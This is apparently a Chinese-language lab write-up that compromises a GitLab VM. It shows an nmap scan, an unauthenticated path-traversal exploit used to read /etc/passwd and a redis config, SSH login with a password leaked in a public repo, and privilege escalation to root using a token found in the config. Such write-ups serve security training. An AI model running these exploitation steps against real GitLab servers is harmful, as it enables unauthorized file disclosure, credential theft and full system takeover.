

Labbb

信息搜集

```
$ cat ports.nmap
# Nmap 7.99 scan initiated Sun Sep 13 09:53:18 2026 as: /usr/lib/nmap/nmap -sT -Pn -sV -sC -O -p- -oA
Nmap scan report for 192.168.1.20
Host is up (0.00060s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.68
|_http-title: Did not follow redirect to http://labbb.dsz/
|_http-server-header: Apache/2.4.68 (Debian)
8060/tcp  open  http     nginx 1.31.0
|_http-title: 404 Not Found
|_http-server-header: nginx/1.31.0
MAC Address: 08:00:27:1E:4F:BC (Oracle VirtualBox virtual NIC)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=9/13%OT=22%CT=1%CU=41463%PV=Y%DS=1%DC=D%G=Y%M=080027%T
OS:M=6AA60231P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=107%TI=Z%CI=Z%II=I
OS:%TS=21)SEQ(SP=104%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=20)SEQ(SP=107%GCD=1%IS
OS:R=109%TI=Z%CI=Z%II=I%TS=21)SEQ(SP=FB%GCD=1%ISR=10E%TI=Z%CI=Z%TS=21)SEQ(S
OS:P=FD%GCD=1%ISR=100%TI=Z%CI=Z%TS=21)OPS(O1=M5B4ST11NW8%O2=M5B4ST11NW8%O3=
OS:M5B4NNT11NW8%O4=M5B4ST11NW8%O5=M5B4ST11NW8%O6=M5B4ST11)WIN(W1=FE88%W2=FE
OS:88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW8
OS:%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=0%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=
OS:Y%T=40%W=0%S=A%A=Z%F=R%O=0%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=0%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0
OS:%S=Z%A=S+%F=AR%O=0%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIP
OS:CK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 1 hop
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Sep 13 09:53:53 2026 -- 1 IP address (1 host up) scanned in 35.82 seconds
```

常规端口，另有一个8060

80



GitLab 社区版

用户名或主要电子邮件

密码

👁

忘记密码?

☐ 记住账号

登录

 通行密钥

还没有账户? [立即注册](#)

CVE-2026-85706: GitLab CE/EE 未授权路径遍历

- CVE: CVE-2026-85706, CVSS 3.1 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
- 组件: GitLab CE/EE Repository Commits API (Workhorse body-upload 变体)
- 影响: 18.7 ≤ version < 19.1.8、19.2.0–19.2.5、19.3.0–19.3.1
- 修复: 19.1.8 / 19.2.6 / 19.3.2 (2026-09-10 关键补丁发布)
- 危害: 无需任何账号路径遍历读取服务器上的任意本地文件; 内容能否回显取决于目标文件, 构成四态 oracle (见「回显边界」)

尝试利用

```
(kali㉿192)-[~/Desktop/Dasz/labbb]
$ python exploit.py -t http://labbb.dsz -f /etc/passwd -o test
=====
CVE-2026-85706 | GitLab unauth path traversal | @mhtsec
=====
[*] CVE-2026-85706 targeting http://labbb.dsz -> /etc/passwd
[*] HTTP 400 | leaked
[+] Leaked content of /etc/passwd:
-----
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534:/:nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon:/usr/lib/dhcpcd:/bin/false
systemd-timesync:x:991:991:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:990:990:System Message Bus:/nonexistent:/usr/sbin/nologin
sshd:x:989:65534:sshd user:/run/sshd:/usr/sbin/nologin
gitlab-www:x:988:989:/:/var/opt/gitlab/nginx:/bin/false
git:x:987:988:/:/var/opt/gitlab:/bin/sh
gitlab-redis:x:986:987:/:/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:985:986:/:/var/opt/gitlab/postgresql:/bin/sh
caiyepian_flowerwith:x:1000:1000:caiyepian flowerwith 100%:/home/caiyepian_flowerwith:/bin/bash
-----
[*] Saved to test
```

EXP

<https://github.com/guneykabel/cve-2026-85706/blob/main/exploit.py>

凭据泄露

<http://labbb.dsz/root/server>



```
ops/servers.md 0 → 100644
1 + # 服务器清单
2 +
3 + ## labbb.dsz
4 +
5 + | 项 | 值 |
6 + | --- | --- |
7 + | 用途 | 内部 GitLab 代码托管 |
8 + | 系统 | Debian 13 (trixie) |
9 + | 运维账号 | admin |
10 + | 登录口令 | 87jcyZ9tEWBf0B9VaaSV |
11 + | SSH | 22/tcp |
12 +
```

公开项目存在密码泄露，结合之前CVE利用，尝试登录ssh

```
caiyepian_flowerwith: 87jcyZ9tEWBf0B9VaaSV
```

```
Last login: Sun Sep 13 02:06:57 2026 from 192.168.1.12
caiyepian_flowerwith@Labbb:~$ whoami
caiyepian_flowerwith
caiyepian_flowerwith@Labbb:~$ |
```

提权

```
/opt/show_root_password
```

/opt目录下存在一个可执行文件，明显是能拿到root密码，但是需要提交正确的token值

```
caiyepian_flowerwith@Labbb:/opt$ ./show_root_password 87jcyZ9tEWBf0B9VaaSV
invalid token
caiyepian_flowerwith@Labbb:/opt$ |
```

```
find / \( -path "/proc" -o -path "/sys" \) -prune -o \( -name "*pass*" -o -name
"*.bak" -o -name "*token*" \) -type f 2>/dev/null
```

找了一圈没什么收获，只能看看git控制的redis

```
(kali㉿192)-[~/Desktop/Dasz/labbb]
$ python exploit.py -t http://labbb.dsz/ -f /var/opt/gitlab/redis/redis.conf -o redis_config
=====
CVE-2026-85706 | GitLab unauth path traversal | @mhtsec
=====
[*] CVE-2026-85706 targeting http://labbb.dsz/ -> /var/opt/gitlab/redis/redis.conf
[*] HTTP 400 | leaked
[+] Leaked content of /var/opt/gitlab/redis/redis.conf:
-----
> 1000 bytes
# 1kb => 1024 bytes
# 1m => 1000000 bytes
# 1mb => 1024*1024 bytes
# 1g => 1000000000 bytes
# 1gb => 1024*1024*1024 bytes
#
# units are case insensitive so 1GB 1Gb 1gB are all the same.
```

意外发现root的token

```
(kali㉿192)-[~/Desktop/Dasz/labbb]
$ cat redis_config | grep root
# ops note: root verification token rotated 2026-08 -> NBtrOnujLI4TitRAku6Y
# Unprivileged processes (not root, and without CAP_SYS_RESOURCE capabilities)
```

拿到密码

zkEhozVixHtvFaa4u7Eu

```
Password:
root@Labbb:/home/caiyepian_flowerwith# whoami
root
root@Labbb:/home/caiyepian_flowerwith# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKN
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_c
    link/ether 08:00:27:97:73:68 brd ff:ff:ff:ff:ff:ff
    altname enx080027977368
    inet 192.168.1.19/24 brd 192.168.1.255 scope global dynamic
        valid_lft 258814sec preferred_lft 226414sec
    inet6 2408:824e:510:1c30:adc:8a95:f21d:d2f3/64 scope global
        valid_lft 213508sec preferred_lft 127108sec
    inet6 fe80::d5a6:d3e1:321c:c4e7/64 scope link
        valid_lft forever preferred_lft forever
root@Labbb:/home/caiyepian_flowerwith# |
```